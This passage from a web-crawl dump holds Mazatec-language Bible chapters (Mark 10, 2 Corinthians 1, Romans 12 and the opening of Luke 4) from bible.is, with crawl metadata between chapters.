kitsjá'nde‑la̱. Tsakátiko̱‑ní jñà ra 'jiìkó ndí i̱xti. 14'Kia̱ nga kijtse Jesús, kjojtií‑la̱, kitsò‑la̱: ―Ti̱'nde‑la jñà ndí i̱xti nga katanchrabá'ta‑na. Kì jiòn batechjà‑la. Nga̱ jñà xi̱ta̱ ra ko̱'sín tjín inìma̱‑la̱ koni 'tse̱ jñà ndí i̱xti, ijyeé 'tse̱é nga'tsì kjo̱nda ra tjín ya̱ ñánda̱ nga tíbatéxoma Nainá. 15Ngi kjo̱hixi̱í ra xian‑no, jè ra mì kì ko̱'sín tjín inìma̱‑la̱ koni 'tse̱ jñà ndí i̱xti nga ska̱ábé kjo̱nda‑la̱ Nainá nga jè katatéxoma‑la̱, mì kì ko̱ma kjoa̱ha'sen ya̱ ñánda̱ nga tíbatéxoma Nainá. 16A̱kjòn Jesús tsa'nga ndí i̱xti; tsakásòn‑la̱ tsja nga isíjé‑la̱ Nainá nga katasíchikon'tin jñà ndí i̱xti kìi̱. 17'Kia̱ nga ijye tífì india‑ni Jesús, jngo xi̱ta̱ ijchòtji̱ngi‑la̱ ra 'ñó tje̱n. Tsasèn-xkó'nchi'tá‑la̱; a̱kjòn iskonangi‑la̱; kitsò‑la̱: ―Maestro, ra xi̱ta̱ nda 'mì‑li, ¿mé ra 'siaa̱n nga ma 'se̱‑na kjo̱binachon ra mì fehe'ta skanda ta kjiá‑nioo̱? 18Jesús kitsó‑la̱: ―¿Mé‑ni nga xi̱ta̱ nda 'mì‑ná? Nga̱ tsìn jngo xi̱ta̱ ra nda; ta̱ jngoó jè Nainá ra nda xi̱ta̱. 19Ijyeé tjíjin‑li kótsò kjo̱téxoma: \"Kì kjoa̱chijngi 'nì; kì xi̱ta̱ nì'kin; kì chijé 'nì; kì 'én ndiso fanè‑la̱ xi̱ta̱ ra kj'ií; kì chònda̱cha̱‑jìn; nda jcha̱xkín na̱'ìn‑li ko̱ na̱‑li.\" 20Jè xi̱ta̱ kitsó‑ní: ―Maestro, tísihítjasòn ijye‑ná nga'tsì kjoa̱ kìi̱ kó nga tísíjchá ijo‑na̱. 21Jesús tsjakeé kjomà, isko'án‑ní, a̱kjòn kitsò‑la̱: ―Jngo kjoa̱ chija‑li ra 'si̱in. Tìka̱ti̱na ijyi nga'tsì tsajmì ra tjín‑li. Ko̱ jè to̱n, ti̱ka'bí‑la̱ jñà xi̱ta̱ ra i̱ma̱ títsa̱hijyo, mé‑ni nga tse kjo̱nda 'se̱‑li ya̱ ján ngajmi. Ko̱ a̱kjòn nchrabátji̱ngi‑ná. 22Jè xi̱ta̱ ra̱kìi̱, 'ñó 'cho kjomà‑la̱ 'kia̱ nga kií'nchré 'én kìi̱. 'Ñó ba ki'se‑la̱ nga kijì‑ni, ta nga̱tjì‑la̱ nga̱ 'ñó nchi̱ná. 23Jesús jngo tjandi iskotsíjen, kitsò‑la̱ xi̱ta̱ ra kotá'yá'ta‑la̱: ―'Ñó chjá ka̱ma‑la̱ ra xi̱ta̱ nchi̱ná nga kjoa̱ha'sen ñánda̱ nga tíbatéxoma Nainá. 24Jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús, 'kia̱ nga kií'nchré 'én kìi̱, tà 'koa̱á kjomà‑la̱. Tanga jè Jesús india kitsò‑ila̱: ―Jiòn ra i'ndí‑na̱ xin‑no, taxki̱ i'in ko̱ma‑la̱ xi̱ta̱ ra kjoa̱nchi̱ná‑la̱ bá'ta ikon nga kjoa̱ha'sen ñánda̱ nga tíbatéxoma Nainá. 25'Ñó chjá ka̱ma‑la̱ nga kjoa̱à'sen‑jin ya̱ ñánda̱ nga tíbatéxoma Nainá; skanda isa̱á‑la chiba chjá ka̱ma‑la̱ jngo cho̱ camello nga kjoa̱à'sen‑kjá ya̱ ñánda̱ nga ti̱'xá nindo ra tjahiña‑ni nikje. 26Jñà xi̱ta̱‑la̱ Jesús, isa̱á ta 'ñó kjóxkón-isa‑la̱. 'Kia̱á kitsò‑la̱ xákjién: ―¿Yá xi̱ta̱ ra ko̱ma ki̱tjokajin kjo̱hi'in tsa'koa̱? 27Jesús iskotsíjeén‑la̱, a̱kjòn kitsò‑la̱: ―Ra ta jñà xi̱ta̱ mì kì ko̱ma‑la̱; tanga Nainá, ko̱maá‑la̱ ra jè; nga̱ ra a̱'ta 'tse̱ Nainá ma ijye‑ní ta mé kjoa̱‑nioo̱. 28'Kia̱á kiìchja̱ Pedro nga kitsò: ―Ra ji̱n, kijmitákon ijyeé‑náji̱n nga'tsì tsajmì ra tjín‑náji̱n, ko̱ ji̱í timatji̱ngi‑laji̱n. 29Jesús kitsò: ―'Koa̱á xin kixi̱‑no, nga'tsì xi̱ta̱ ra isíkítsa̱jna ni'ya‑la̱, 'ndse̱, ndichja, na̱‑la̱, na̱'ìn‑la̱, chjo̱ón‑la̱, i̱xti‑la̱ ko̱ nangi‑la̱ ra ta 'a̱n nga̱tjì‑na ko̱ jè nga̱tjì‑la̱ 'én xi̱tse̱‑la̱ Nainá ra nda tsò 30i̱ a̱'ta nangi, jngo sindo̱ 'ka̱ ko̱'ki tjábé ngajo‑ila̱, ra ni'ya 'mì, ra 'ndse̱, ra ndichja, na̱‑la̱, i̱xti‑la̱ ko̱ nangi‑la̱, ni̱'sín ko̱jtike xi̱ta̱ nga koa̱àtji̱ngi‑la̱. Tanga jè i̱sà'nde ra sa nchrabá, 'se̱é‑la̱ kjo̱binachon ra mì fehe'ta ni̱ ta̱ kjiá‑nioo̱. 31Tanga kjín xi̱ta̱ ra jñà títsa̱jna ítjòn 'ndi̱ 'ndi̱‑ni̱, jñá kítsa̱jna tji̱ngi a̱skan‑nioo̱; ko̱ jñà ra títsa̱jna tji̱ngi 'ndi̱ 'ndi̱‑ni̱, jñá kítsa̱jna ítjòn‑nì a̱skan‑nioo̱. 32Jesús, tsá'ba ítjòn‑la̱ xi̱ta̱‑la̱ nga i̱nchifì ya̱ ján na̱xi̱ndá Jerusalén. Jñà xi̱ta̱ ra tji̱ngi‑la̱, tà i̱nchimaxkón‑la̱ 'kia̱ nga i̱nchifì. Jñà xi̱ta̱‑la̱ ra tejò ma‑ni india kiìchja̱'taxìn‑la̱, a̱kjòn tsi'kéna̱jmí india‑la̱ mé kjoa̱ ra 'sa̱ ko̱ka̱ma'tin. Kitsò‑la̱: 33―'Ndi̱ 'ndi̱‑ni̱, ya̱á i̱nchimangié ya̱ na̱xi̱ndá Jerusalén; 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱, ya̱á ko̱nga̱tsja jñà xi̱ta̱ ítjòn‑la̱ na̱'mì ko̱ jñà xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés, ko̱ jñá ko̱kitsò nga bakén‑na nga ki̱yáa̱, ko̱ ya̱á si̱ìnga̱tsja‑na ya̱ a̱jin‑la̱ xi̱ta̱ ra mì tsa xi̱ta̱ Judío, 34ko̱ jñà xi̱ta̱ kìi̱, si̱ìsabà'tiín‑na, ki̱íchrájno‑na, ko̱já‑na, a̱kjòn si̱ì'ken‑na. Tanga ra ko̱ma jàn ni̱chjin kjoa̱áya india‑na. 35Jacobo ko̱ Juan, i̱xti‑la̱ Zebedeo, ijchò kincha'tá‑la̱ Jesús, kitsò‑la̱: ―Maestro, mején‑naji̱n nga ko̱'sín 'ti̱ìn jè kjo̱nda ra si̱jé‑laji̱n. 36Jesús iskonangií‑la̱, kitsò‑la̱: ―¿Mé ra mejèn‑no nga tsja‑no? 37Jacobo ko̱ Juan kitsó‑ní: ―'Kia̱ nga ijye tjibatexomi ya̱ ján ngajmi, ki̱'nde‑náji̱n nga ya̱ ki̱tsa̱jna'ta‑laji̱n, jngo ti̱kíjna'ta‑náji̱n ya̱ nga kixi̱‑li ko̱ jngo ti̱kíjna'ta‑náji̱n ya̱ ngaskoán‑li. 38'Kia̱á kitsò Jesús: ――Mì kì 'ya jiòn mé ra níjé. ¿A maá ko̱tojiòn jè kjo̱hi'in ra 'a̱n ko̱tojian? Ko̱, ¿a maá ko̱'sín ki̱tjáha̱'se̱n‑jion kjo̱hi'in ra 'a̱n kjoáha̱'se̱n‑jiaa̱n? 39Kitsó jñà xi̱ta̱ kìi̱: ―Jon, maá ko̱tojin‑ji̱n. 'Kia̱á kitsò‑la̱ Jesús: ―Kixi̱í kjoa̱, maá‑la̱ ko̱tojiòn kjo̱hi'in; ko̱ skanda ki̱tjáha̱'se̱n‑jion jè kjo̱hi'in ra 'a̱n ko̱tojian; 40tanga mì tsa 'a̱n bako̱‑na nga tsja'ndé‑no nga ya̱ ki̱tsa̱jna'ta‑ná ya̱ nga kixi̱‑na̱ ko̱ ya̱ ngaskoán‑na̱. Jñà i̱'nde kìi̱, ta jñá títsa̱jnanda‑la̱ jñà ra ko̱'sín ijye itjahájin. 41'Kia̱ nga kií'nchré jñà xi̱ta̱‑la̱ Jesús ra i'ka ra ngi te ma‑nioo̱, kjojtií‑la̱ koni 'sín kitsò Jacobo ko̱ Juan. 42Tanga jè Jesús kiìchja̱á‑la̱, kitsò‑la̱: ―Ijyeé 'ya‑nájiòn nga jñà xi̱ta̱ ra si'ta xá ya̱ na̱xi̱ndá ra tjín ya̱ i̱sà'nde, 'koa̱á 'sín batéxoma koni tsa jñà ma ni‑la̱ xi̱ta̱ na̱xi̱ndá. Ko̱ jñà xi̱ta̱ ra isa̱ 'nga títsa̱jna, ko̱ó kjo̱téxoma‑la̱ beton‑ni jñà xi̱ta̱. 43Tanga ra a̱'ta tsa̱jiòn mì kì tjínè‑la̱ nga ko̱'sín ko̱ka̱ma. Jè ra mejèn‑la̱ nga 'nga kíjna, ta isa̱á jnchro jé katabasìko̱'ta‑no; 44ko̱ jè ra mejèn‑la̱ kíjna ítjòn‑no, ta isa̱á jnchro jè katama chi̱'nda‑no. 45Nga̱ 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xian‑la̱ ijo‑na̱, ti̱'koa̱á mì tsa ki xá 'jíi̱‑na nga 'a̱n nda ki̱tjasòn ítjòn‑na. Kií xá 'jíi̱‑na nga 'a̱n jnchro nda sìhitjásòn ítjòn‑la̱ xi̱ta̱, ko̱ nga tsja ijo‑na̱ nga kjìn xi̱ta̱ ki̱tjojin kjo̱hi'in nga 'a̱n kíchjítjì ngajo‑la̱ jé‑la̱. 46'Kia̱ nga ijchò ya̱ na̱xi̱ndá Jericó, 'kia̱ nga ijye i̱nchibitjojin ya̱ na̱jnchra̱, tji̱ko̱ xi̱ta̱‑la̱ ra kotá'yá'ta‑la̱ ko̱ kjín xi̱ta̱ tji̱ngi‑isa‑la̱. Ya̱ a̱ndi ndi̱yá, jngo xi̱ta̱ i̱ma̱ tíjna ra xka̱ ra 'mì Bartimeo, ti‑la̱ xi̱ta̱ ra 'mì Timeo, nga tísíjé kjo̱tjò to̱n. 47Jè xi̱ta̱ xka̱ ra̱kìi̱, 'kia̱ nga kií'nchré nga jé Jesús ra Nazaret i̱'nde‑la̱ tífì, ndi̱to̱ón kiìchja̱‑la̱, kitsò‑la̱: ―¡Jesús, ji̱ ra ya̱ nakjoá‑ni tje̱‑la̱ xi̱ta̱xá ítjòn ra tsi'kìn David, jcha̱hi̱ma̱takón‑ná! 48Kjín xi̱ta̱ tsakátiko̱ Bartimeo nga jyò katijna. Tanga jè Bartimeo isa̱á ta 'ñó kiìchja̱‑isa. Kitsò: ―Ji̱ ra ya̱ nakjoá‑ni tje̱‑la̱ xi̱ta̱xá ítjòn ra tsi'kìn David, jcha̱hi̱ma̱takón‑ná. 49'Kia̱á tsasijna Jesús, kitsò: ―Ti̱nákjoa̱‑la. A̱kjòn inakjoá‑la̱ jè xi̱ta̱ xka̱. Jñà xi̱ta̱ kitsó‑la̱: ―'Ñó 'tè‑la̱ takìn, ti̱sítji̱in, chja̱‑ró‑li Jesús. 50Jè xi̱ta̱ xka̱, ndi̱to̱ón tsasítje̱n, tsachrje na̱chro̱ sòn'nga‑la̱, kiì kasi'ta‑la̱ ñánda̱ síjna Jesús. 51Jesús iskonangií‑la̱, kitsò‑la̱: ―¿Mé ra mejèn‑li nga sikó‑la? Jè xi̱ta̱ xka̱ kitsò: ―Ji̱ Maestro, jé mejèn‑na nga katatsíjen‑na. 52Jesús kitsó‑la̱: ―'Tin‑ni. Ki‑ní nga kàmakjiín‑li nga kamanda‑ni. Jè xi̱ta̱ xka̱, ndi̱to̱ón tsatsíjen‑ila̱, ko̱ ya̱á kiìtji̱ngi‑la̱ koni 'sín ndi̱yá tífì Jesús.\nSan Marcos 10","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Mark\/10","date":"2013-12-05T21:31:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163047675\/warc\/CC-MAIN-20131204131727-00076-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.000008463859558}","num_words":1233,"character_repetition_ratio":0.064,"word_repetition_ratio":0.003,"special_characters_ratio":0.239,"stopwords_ratio":0.333,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'A̱n, Pablo, tìsìkasén‑nò xo̱jo̱n jè, nga k'oa̱á s'ín kjòmejèn‑la̱ Nainá nga 'a̱n tsibíxáya‑na Cristo Jesús. 'A̱n, ko̱ 'ndsè Timoteo titsa̱nìkasén‑nòje̱n xo̱jo̱n jè. Titsa̱nìhixot'aà‑nòje̱n jñò xi xi̱ta̱ na̱xa̱ndá‑la̱ Nainá 'mì‑nò xi titsa̱jnaà ya̱ na̱xa̱ndá Corinto, ko̱ ngats'iì xi̱ta̱ tsjeè‑la̱ Cristo xi títsa̱jna kóho̱kji nangui Acaya. 2Nainá xi Na̱'èn‑ná, ko̱ jè Jesucristo xi otíxoma‑ná kàtatsjá‑nò kjo̱ndaà ko̱ kjoa̱'nchán ya̱ i̱jiìn ini̱ma̱‑nò. 3Ndaà kàtayaxkón Nainá xi Na̱'èn‑la̱ ma Jesucristo xi otíxoma‑ná. Jè Nainá xi Na̱'èn‑ná ma, tse kjo̱hi̱ma̱takòn tjín‑la̱ i̱t'aà tsa̱ján. Ko̱ jè, kjit'aà na̱chrjein síje takoán. 4K'e̱ nga mé kjo̱'in titsa̱jnajñaá, jè Na̱'èn‑ná síjetakòn‑ná mé‑ne jñá, k'oa̱á ti̱s'ín si̱jetakoán xinguia̱á xi ti̱koa̱ kjo̱'in títsa̱jnajiìn koni s'ín kisìjetakón‑ná Nainá. 5Koni tjín kjo̱'in xi tse nìkjiaán xi kjoa̱ ts'e̱ Cristo, k'oa̱á ti̱s'ín tse kjo̱jetakòn sakó‑ná i̱t'aà ts'e̱ Cristo. 6Ngaje̱n, tsà kjo̱'in titsa̱nìkjeiín‑je̱n, kjo̱ndaà tsa̱jòn‑nò nga s'e̱‑nò kjo̱jetakòn, koa̱ ki̱tjokàjñoò kjo̱'in. Tsà Nainá síjetakòn‑naje̱n, jè‑né nga ti̱koa̱ jñò s'e̱‑nò kjo̱jetakòn, koa̱ ki̱chìkjoa̱ ko̱‑nò kjo̱'in xi ji̱n titsa̱nìkjeiín‑je̱n. 7Tjín kixi̱í kjoa̱ xi chiñà‑la̱je̱n i̱t'aà tsa̱jòn. Tíjiìn‑naje̱n, koni s'ín tíhoko̱t'aà‑nò kjo̱'in xi titsa̱nìkjeiín‑je̱n, k'oa̱ ti̱s'ín o̱kot'aà‑nò kjo̱jetakòn xi tjín‑naje̱n. 8Jñò 'ndsè ko̱ tichjaá, mejèn‑naje̱n nga kàtasijiìn‑nò kjo̱'in xi kis'e‑naje̱n ján nangui Asia. Tse jchán kjo̱'in kinìkjeiín‑je̱n. Jyeé mì ti̱ kiì kichìkjoa̱ko̱‑náje̱n skanda mì ti̱ kiì bixón‑naje̱n tsà ki̱tsa̱jnakon ìsa̱‑je̱n. 9K'oa̱á s'ín komà‑naje̱n nga jyeé‑la tjínè‑la̱ nga ki̱yá‑je̱n. K'oa̱á s'ín komàt'in‑je̱n mé‑ne nga ìsa̱ ndaà kjót'aà takòn‑naje̱n Nainá xi ma‑la̱ síkjaáya‑la̱ mik'en, nga mì tà yijo‑naje̱n kjót'aà takòn‑je̱n. 10Nga jyeé kjo̱meè k'en‑je̱n, ta̱nga Nainá tsasìko̱‑naje̱n nga kisìkatojiìn‑naje̱n kjo̱'in ko̱ tákó si̱ìkatojiìn‑ìsa‑naje̱n kjo̱'in. Ko̱ k'oa̱á s'ín kjit'aà takòn‑je̱n nga jè si̱ìkatojiìn ìsa̱‑naje̱n ni̱ta̱ mé kjoa̱‑ne. 11Jñò, mochjeén‑né nga si̱chját'aà‑náje̱n nga ki̱nókjoa̱t'aà‑là Nainá i̱t'aà tsa̱je̱n mé‑ne nga ìsa̱ kjìn ko̱ma‑ne xi̱ta̱ xi ki̱chja̱t'aà‑la̱ Nainá, ti̱koa̱á kjìn ko̱ma xi̱ta̱ xi tsjá‑la̱ kjo̱ndaà Nainá koni s'ín machikon‑t'in‑je̱n. 12Tjín jngoò kjoa̱ nga ndaà nìkítsa̱jna‑je̱n yijo‑naje̱n. K'oa̱á s'ín beè‑la̱je̱n takòn‑je̱n nga i̱t'aà ts'e̱ Nainá nchrobá‑ne nga tsjeè ko̱ kixi̱ tihonguíko̱‑je̱n yijo‑naje̱n i̱ i̱sò'nde, ko̱ jè tíjna ítjòn i̱t'aà tsa̱jòn. Mìtsà kjoa̱chji̱ne̱‑la̱ xi ta̱xki̱ xi̱ta̱ nga ko̱'nè‑je̱n, kjo̱ndaà‑la̱ Nainá‑né. 13Mìtsà kj'ei̱í kjoa̱ nga titsa̱chjiì‑nòje̱n, ta jè‑né nga kíxke̱jñoò ko̱ kjoa̱s'en‑jiìn‑nò koni tsò 'én xi tjít'aà xo̱jo̱n jè. K'oa̱á s'ín majngoò takoàn nga nguì ndaà kji̱ya‑nò 14koni s'ín jye kjòchi̱ya chiba‑nò nga tsja kàtama‑nò i̱t'aà tsa̱je̱n ko̱ nga ti̱koa̱ tsjaá ko̱ma‑naje̱n i̱t'aà tsa̱jòn k'e̱ nga kjoi̱í ìjngoò k'a Jesucristo xi otíxoma‑ná. 15'A̱n, jyeé ndaà tíjngoò takoàn i̱t'aà ts'e̱ kjoa̱ koi, k'oa̱á ma‑ne nga k'oa̱s'ín kiskoòsòn‑la̱ nga jò k'a kjíkon‑nò mé‑ne jñò, jò kjo̱ndaà sa̱kò‑nò. [Ta̱nga mì k'oa̱á s'ín tsitasòn.] 16K'oa̱á s'ín kisìkítsjeèn, k'e̱ nga kiaà nangui Macedonia nga ya̱ jahato ítjòn‑nò. Tjín‑nè nga kjoa̱hato ìjngoò k'a‑nò k'e̱ nga kji̱nchrobà‑na mé‑ne jñò ko̱ma si̱chját'aà‑ná nga kjián nangui Judea. 17K'e̱ nga k'oa̱s'ín kiskoòsòn‑la̱, ¿a k'oa̱á s'ín kinìkítsjeèn nga 'a̱n, tìsìskáko̱‑nò? Majìn, nga mì k'oa̱á s'ín s'iaàn koni s'ín xi ta̱xki̱ xi̱ta̱ i̱sò'nde. Mìtsà ítjòn xan‑nò: \"Ko̱ma‑né\", ko̱ ti̱k'e̱‑ne ìjngoò k'a xan‑nò: \"Mìkiì ko̱ma.\" 18Tíbeè Nainá; 'én kixi̱í xi kixan‑nò, ngaje̱n, mì k'oa̱á s'ín nokjoà‑je̱n nga bixón‑je̱n: \"Jon, ko̱ma‑né\", ko̱ \"Mìkiì ko̱ma.\" 19Timoteo, Silvano ko̱ 'a̱n, k'oa̱á s'ín nokjoàyajiìn‑nòje̱n i̱t'aà ts'e̱ 'én‑la̱ Jesucristo xi ki'ndí‑la̱ Nainá. Tsjìn‑la̱ 'én xi tsò jon ko̱ majìn. Nainá jngoò k'a síkitasòn i̱t'aà ts'e̱ Cristo nga tsò: \"Jon, ko̱ma‑né.\" 20Ngats'iì 'én xi chja̱ Nainá koni s'ín tsjá tso'ba, i̱t'aà ts'e̱ Cristo bitasòn yije‑né. Nga jè Cristo xi tsò \"ko̱ma‑né\". Ko̱ i̱t'aà ts'e̱ Cristo, jñá bixón‑ná: \"K'oa̱s'ín kàtama\", mé‑ne jeya kíjna‑ne Nainá. 21Jè Nainá, xi síkixi̱yandaà‑ná nga jè titsa̱jnakoa̱á Cristo [xi xó jaàjiìn‑ne Nainá], ti̱koa̱á jñá xó jaàjiìn‑ná Nainá. 22Ko̱ ti̱jè‑ne Nainá xi tsibít'aà chi̱ba̱‑ná koni jngoò sello; kisìkíjnajiìn ini̱ma̱‑ná jè Ini̱ma̱ Tsjeè‑la̱ xi tjoé ítjòn‑ná nga kixi̱ kjoa̱ nga ti̱koa̱ tjoé yije‑ná kjo̱ndaà xi tjíndaà‑la̱ nga tsjá‑ná. 23Tíkotsejèn Nainá, jè tíbeè ini̱ma̱‑na̱, mé‑ne kj'eè kiì fì‑na Corinto koni s'ín tíjiìn‑na; koií kjoa̱‑la̱, majìn‑na̱ nga 'on ko̱ma‑la̱ ini̱ma̱‑nò nga 'én ts'e̱n kichjàko̱‑nò. 24Ngaje̱n, majìn‑nòje̱n nga ngaje̱n, kjo̱'ñó ko̱tìxoma‑nòje̱n i̱t'aà ts'e̱ 'én xi mokjeiín‑nò. Ta sa̱á nìchját'aà‑nòje̱n mé‑ne nga s'e̱‑nò kjo̱tsja nga kixi̱ titsa̱jnaà koni s'ín mokjeiín‑nò.\n2 Corintios 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/2Cor\/1","date":"2013-12-10T04:29:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164007955\/warc\/CC-MAIN-20131204133327-00056-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000032187,"language_script":"Latn","minhash_cluster_size":40,"top_langs":"{\"maa_Latn_score\": 1.0000032186508179}","num_words":642,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.269,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Koa̱á ma‑ni 'ndsé, tà nga̱tjì‑la̱ nga'tsì kjo̱hi̱ma̱takòn ra tjín‑la̱ Nainá, 'koa̱á 'sín bitsá'ba‑najiòn nga ko̱'sín ti̱nga̱tsja ijo‑no Nainá koni jngo kjo̱tjò ra tíjnakon, ra tsje tíjna, ra nda sasén‑la̱ Nainá. Jñà kjoa̱ kìi̱, jeyaá síkíjna Nainá 'kia̱ nga ngi ko̱ó inìma̱‑no ko̱ ngi ko̱ó kjo̱bítsjen‑no si̱itjasòn‑la. 2Kì ko̱'sín mangí‑ko̱o ijo‑no koni 'sín tjín kjo̱téxoma ra tjín ya̱ i̱sà'nde; ti̱xi̱tse̱ya jè kjo̱bítsjen‑no mé‑ni nga katafatjìya‑la̱ kó'sín si̱jchá ijo‑no mé‑ni nga jcha̱‑no mé kjoa̱ ra mejèn‑la̱ Nainá, koni jñà kjoa̱ ra nda tjín, ra ngi kixi̱ tjín, ko̱ ra ngi nda sasén‑la̱ Nainá. 3A̱'ta 'tse̱ xá ra 'a̱n kjonga̱tsja, 'koa̱á 'sín tíxian‑no nga jngó jngó‑no: kì isa̱ 'ñó 'nga mahíko̱o jè kjo̱bítsjen‑no koni 'sín tjínè‑la̱ nga si̱kítsjen; nda kjón‑ní ti̱kítsjen koni 'sín bijchó chi̱ba̱‑la̱ kjo̱nda ra kitsjà‑no Nainá 'kia̱ nga kjokjiín‑no a̱'ta 'tse̱ Cristo. 4Koni 'sín tjín jè ijo‑ná nga kjín sko̱ya tjín‑ni, tanga kja̱‑tjín kja̱‑tjín xá‑la̱ nga jngó jngó; 5'koa̱á 'sín tjín ra a̱'ta tsa̱jién nga 'ñó kjìn ma‑ná, tanga ta jngoó ma‑ná ra a̱'ta 'tse̱ Cristo; 'koa̱á 'sín ki̱nda̱ba̱'ñé xàngie̱é koni 'sín nga itsabá'ñó xákjién ijo‑ná. 6Koni 'sín kjomejèn‑la̱ Nainá nga kjìn sko̱ya xá kitsjá‑ná nga jngó jngó‑ná, jè xi̱ta̱ ra ki'tsì xá‑la̱ nga ki̱chja̱ ngajo‑la̱ Nainá, 'koa̱á 'sín katachja̱ koni 'sín nga makjiín‑la̱. 7Tsa jè xá ki'tsì‑la̱ nga ko̱si̱ko̱'ta xi̱ta̱, ko̱'sín kata'sín; ko̱ tsa jè xá itjábé‑la̱ nga ko̱kón‑ya, ko̱'sín katakón‑ya. 8Jè ra itjábé‑la̱ xá nga síje ikon xi̱ta̱, ko̱'sín kata'sín; jè ra ma‑la̱ nga síka'bí tsajmì, ngi ko̱ó inìma̱‑la̱ nga katasíka'bí; jè ra xá ítjòn kjonga̱tsja, nda kjón katasíhitjasòn; jè ra basìko̱ jñà ra tsìn‑la̱, ngi ko̱ó kjo̱tsja‑la̱ nga katabasìko̱. 9Ngi ko̱ó inìma̱‑no nga tsjacha 'tia̱àn xàngio̱o. Ti̱náchrjengio jñà kjoa̱ ra 'cho tjín; jè tangítji̱ngi‑la kjoa̱ ra nda tjín. 10Tsjacha 'tia̱àn xàngio̱o koni 'sín nga 'ndsè chiba; nda jcha̱xkón xi̱ta̱ xàngio̱o nga jngó jngó; jñà isa̱ nda ti̱kíhijyo ítjòn nga jngó jngó xi̱ta̱. 11Kì tà chjàn ni'tsè‑ko̱o jè xá ra 'tse̱ Nainá, ngi ko̱ó inìma̱‑no ko̱ ngi ko̱ó kjo̱tsja ti̱xá‑la Na̱'ín‑ná. 12Tsja 'tè‑la takòn a̱'ta 'tse̱ kjoa̱ ra i̱nchichiñá‑la; katachíkjoa̱‑la̱ jè inìma̱‑no ra a̱'ta 'tse̱ kjo̱hi'in ra i̱nchinikjioón; ni̱chjin nchijón titsa'ba‑la Nainá. 13'Tiì‑la mé ra machjeén‑la̱ jñà xi̱ta̱‑la̱ Nainá; tsjacha 'tia̱àn jñà xi̱ta̱ ra bijchó ya̱ ni'ya‑no. 14Ti̱jé‑la Nainá nga katasíchikon'tin jñà xi̱ta̱ ra 'cho síko̱‑no; kì tà chjàn kjo̱hi'in níjé'tion. 15Ti̱tsjako̱o jñà xi̱ta̱ ra tsja tjín‑la̱, ko̱ tìxten‑ko̱o ndáxkòn jñà ra ndáxko̱n i̱nchibíxten. 16Nda ti̱jngo kjo̱bítsjen‑no nga jngó jngó‑no; kì tà chjàn 'nga ikon 'nià; ya̱á tjahijtako̱ó jñà ra xi̱ta̱ i̱ma̱; kì tà chjàn 'ñó chji̱ne̱ nachrjengio ijo‑no. 17Jñà xi̱ta̱ ra 'cho síko̱‑no, kì tà chjàn 'cho nìko̱ ngajo‑no; ndaá 'tia̱àn ya̱ ngixko̱n nga'tsì xi̱ta̱. 18Skanda kó'sín tje̱n jiòn bako̱‑no, jiòn tjínè‑no nga 'nchán ki̱tsa̱jnako̱o nga'tsì xi̱ta̱. 19Jiòn ndí 'ndsé ra matsjake̱‑no 'kia̱ nga mé ra ko̱ma'tion kì tà chjàn jiòn nijndà‑no; ta isa̱á ya̱á ti̱nga̱tsja jè Nainá jè kjoa̱‑no mé‑ni nga jè Nainá katakosòn‑la̱ a̱'ta 'tse̱ kjo̱hi'in; nga̱ jè xa̱jo̱n‑la̱ Nainá, 'koa̱á 'sín tsò: \"'A̱án ra be nga kindájín‑la̱ xi̱ta̱, 'a̱án tsja‑la̱ chjí‑la̱, tsó Na̱'ín‑ná.\" 20Ti̱'koa̱á tsò‑te: \"Jè xi̱ta̱ ra mì kì nda báko̱‑li, tsa tsìn‑la̱ tsajmì ra kjine, 'ti̱‑la̱, tsa xándá‑la̱, 'ti̱‑la̱ nandá ra kata'bi; 'kia̱ nga ko̱si̱ki̱i, ngi nga ko̱hiní i̱sén‑la̱ koni xó'bí nga ko̱sabà‑la̱.\" 21Kì jè kjoa̱ ra 'cho tjín síkijne‑no, ta isa̱á jè 'tia̱àn kjoa̱ ra nda tjín mé‑ni nga si̱kijne‑la kjoa̱ ra 'cho tjióo̱n.\nRomanos 12","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Rom\/12","date":"2013-12-13T20:39:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164989714\/warc\/CC-MAIN-20131204134949-00089-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.000009536743164}","num_words":544,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.329,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jesús, nga ndaà tíjiìn ini̱ma̱‑la̱ jè Ini̱ma̱ Tsjeè‑la̱ Nainá, inchrobà ìjngoò k'a‑ne ya̱ xa̱jngá nandá Jordán, koa̱ jè Ini̱ma̱ Tsjeè‑la̱ Nainá kiìko̱ jngoò i̱'nde i̱t'aà xìn ñánda nangui kixì choòn. 2Ichán na̱chrjein tsibìjna. Jè xi̱ta̱ nei̱í kiskoòt'aà nga mejèn‑la̱ kàtátsji jé Jesús. Ngats'iì na̱chrjein koi, Jesús mìkiì tsakjèn, tsibìjnachjan‑né. K'e̱ nga jyehet'aà na̱chrjein, jyeé 'ñó kjòhojò‑la̱. 3Jè xi̱ta̱ nei̱í kitsò‑la̱: ―Tsà kixi̱ kjoa̱ nga ngaji̱ xi Ki'ndí‑la̱ Nainá 